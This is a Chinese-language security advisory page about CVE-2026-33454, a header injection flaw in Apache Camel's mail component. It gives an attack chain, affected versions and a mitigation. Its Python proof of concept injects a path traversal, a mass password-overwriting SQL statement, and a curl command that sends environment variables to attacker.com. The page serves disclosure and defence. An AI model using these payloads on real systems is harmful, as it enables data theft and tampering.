IPBUF安全漏洞报告
English
CVE-2026-33454 CVSS 9.4 严重

CVE-2026-33454 Apache Camel消息头注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-33454
漏洞类型
消息头注入
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Camel

相关标签

消息头注入Apache CamelCVE-2026-33454RCESSRF

漏洞概述

Apache Camel-Mail组件存在安全漏洞,由于MailHeaderFilterStrategy仅过滤输出方向,未配置输入方向过滤。攻击者可发送特制邮件注入Camel特定头,影响下游组件路由行为,导致高机密性、完整性风险。

技术细节

该漏洞源于Apache Camel的MailHeaderFilterStrategy实现缺陷。策略仅通过setOutFilterStartsWith过滤出站头,未调用setInFilterStartsWith配置入站过滤。当应用使用camel-mail(如imap://)消费邮件时,入站检查被跳过,Camel前缀的MIME头直接映射到Exchange。攻击者无需认证,只需发送包含恶意Camel头(如CamelFileName、CamelSqlQuery)的邮件。下游组件(camel-bean, camel-exec等)处理这些头时会误读指令,导致逻辑改变、数据泄露或非预期操作。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统使用Apache Camel组件,并配置了邮件消费端点(如IMAP/POP3)。
STEP 2
制作载荷
攻击者构造一封电子邮件,在MIME头部植入以'Camel'开头的恶意字段(如CamelSqlQuery),目的是影响下游路由逻辑。
STEP 3
投递载荷
攻击者将特制邮件发送到被目标Camel应用监控的邮箱地址中。
STEP 4
触发漏洞
Camel-Mail组件拉取邮件,由于入站过滤器缺失,恶意头被原样解析并注入到Exchange对象中。
STEP 5
执行攻击
下游组件(如camel-exec或camel-sql)读取Exchange中的恶意头信息并执行,导致数据泄露、篡改或系统被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import smtplib from email.mime.text import MIMEText from email.header import Header # Configuration sender = '[email protected]' receiver = '[email protected]' smtp_server = 'smtp.example.com' # Construct malicious email msg = MIMEText('Payload body', 'plain', 'utf-8') msg['From'] = sender msg['To'] = receiver msg['Subject'] = Header('Camel Header Injection', 'utf-8') # Inject malicious Camel headers to influence downstream components # Example 1: Attempting to manipulate file paths in camel-file msg['CamelFileName'] = '../../../etc/passwd' # Example 2: Attempting to inject SQL in camel-sql msg['CamelSqlQuery'] = 'UPDATE users SET password = "hacked" WHERE 1=1;--' # Example 3: Attempting to execute commands in camel-exec msg['CamelExecCommandArgs'] = 'curl http://attacker.com/steal?data=$(env)' try: with smtplib.SMTP(smtp_server, 25) as server: server.sendmail(sender, [receiver], msg.as_string()) print("[+] Malicious email sent successfully.") except Exception as e: print(f"[-] Failed to send email: {e}")

影响范围

Apache Camel 3.0.0 至 4.14.6 之前
Apache Camel 4.15.0 至 4.18.1 之前

防御指南

临时缓解措施
如果无法立即升级,建议严格限制监控邮箱的访问权限,仅允许受信任的邮件源。同时,检查并手动配置MailHeaderFilterStrategy以启用入站头过滤(setInFilterStartsWith),拦截包含Camel前缀的外部消息头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表